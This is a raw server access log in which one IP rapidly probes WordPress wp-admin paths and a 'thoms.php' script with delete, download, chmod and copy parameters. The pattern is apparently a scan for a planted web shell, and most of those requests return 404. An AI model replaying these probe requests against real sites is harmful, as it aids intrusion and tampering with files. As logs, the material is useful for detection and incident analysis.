45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /broadweb.com.tw/wp-admin/link-manager.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /thoms.php?del=admin.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /thoms.php?dl=media-new.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media-new.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=moderation.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=moderation.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /thoms.php?del=moderation.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=moderation.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /thoms.php?chmod=plugin-editor.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugin-editor.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /thoms.php?del=css&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=css&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /thoms.php?del=index.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /broadweb.com.tw/wp-admin/user-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /thoms.php?chmod=plugin-install.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugin-install.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=widgets-form-blocks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=widgets-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /thoms.php?dl=widgets.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /thoms.php?del=site-health-info.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=site-health-info.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /broadweb.com.tw/wp-admin/moderation.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:30 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=authorize-application.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=authorize-application.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:29 -0400] "GET /broadweb.com.tw/wp-admin/setup-config.php HTTP/1.1" 409 1225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fsite-editor.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fsite-editor.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:30 -0400] "GET /broadweb.com.tw/wp-admin/admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcontribute.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcontribute.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:30 -0400] "GET /thoms.php?del=upload.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upload.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fnav-menus.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fnav-menus.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:30 -0400] "GET /broadweb.com.tw/wp-admin/about.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:30 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=admin-ajax.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=admin-ajax.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:30 -0400] "GET /thoms.php?dl=font-library.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=font-library.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:30 -0400] "GET /thoms.php?chmod=import.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=import.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:30 -0400] "GET /thoms.php?del=ms-themes.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-themes.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:31 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-media.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:30 -0400] "GET /broadweb.com.tw/wp-admin/options-reading.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:31 -0400] "GET /broadweb.com.tw/wp-admin/export-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:31 -0400] "GET /broadweb.com.tw/wp-admin/ms-admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:31 -0400] "GET /thoms.php?dl=freedoms.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=freedoms.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-writing.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-writing.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:31 -0400] "GET /thoms.php?chmod=user&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:31 -0400] "GET /thoms.php?dl=privacy.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=privacy.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:31 -0400] "GET /thoms.php?dl=tools.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=tools.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:31 -0400] "GET /broadweb.com.tw/wp-admin HTTP/1.1" 301 795 "http://163.245.207.76:443/broadweb.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:31 -0400] "GET /thoms.php?chmod=edit-link-form.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-link-form.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:32 -0400] "GET /thoms.php?chmod=erase-personal-data.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=erase-personal-data.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:31 -0400] "GET /broadweb.com.tw/wp-admin/ HTTP/1.1" 302 0 "https://163.245.207.76:443/broadweb.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:32 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=link.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=link.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:32 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-options.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-options.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:32 -0400] "GET /broadweb.com.tw/wp-admin/options-media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:32 -0400] "GET /thoms.php?chmod=ms-users.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-users.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:32 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-privacy.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-privacy.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:32 -0400] "GET /broadweb.com.tw/wp-admin/options-privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:32 -0400] "GET /thoms.php?chmod=admin.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:32 -0400] "GET /broadweb.com.tw/wp-admin/network/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:32 -0400] "GET /thoms.php?chmod=admin-post.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-post.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:32 -0400] "GET /thoms.php?dl=index.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:32 -0400] "GET /thoms.php?del=media-new.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media-new.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /thoms.php?dl=setup-config.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=setup-config.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /thoms.php?dl=admin-footer.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-footer.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /thoms.php?del=edit-comments.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-comments.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /broadweb.com.tw/wp-admin/edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /thoms.php?del=font-library.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=font-library.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /thoms.php?del=freedoms.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=freedoms.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /thoms.php?dl=options-connectors.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-connectors.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /broadweb.com.tw/wp-admin/includes/ HTTP/1.1" 200 4194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /broadweb.com.tw/wp-admin/options-general.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fplugin-install.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fplugin-install.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fadmin-post.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fadmin-post.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /broadweb.com.tw/wp-admin/ms-delete-site.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /thoms.php?dl=edit-form-comment.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-form-comment.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=user-new.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /thoms.php?chmod=admin-header.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-header.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fadmin-header.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fadmin-header.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?dl=options-media.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-media.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?chmod=export-personal-data.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=export-personal-data.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?dl=import.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=import.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /thoms.php?dl=install.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=install.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:34 -0400] "GET /broadweb.com.tw/wp-admin/menu.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
